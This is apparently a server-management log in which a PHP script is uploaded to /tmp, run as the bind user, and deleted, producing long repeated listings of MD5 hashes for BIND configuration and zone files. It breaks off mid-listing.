MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:13:55: Establishing a connection
2026-04-23 13:13:55: 

PUT: /tmp/pkp825477

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:13:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp825477; rm /tmp/pkp825477'

2026-04-23 13:13:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:14:07: Establishing a connection
2026-04-23 13:14:07: 

PUT: /tmp/pkp394862

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:14:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp394862; rm /tmp/pkp394862'

2026-04-23 13:14:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
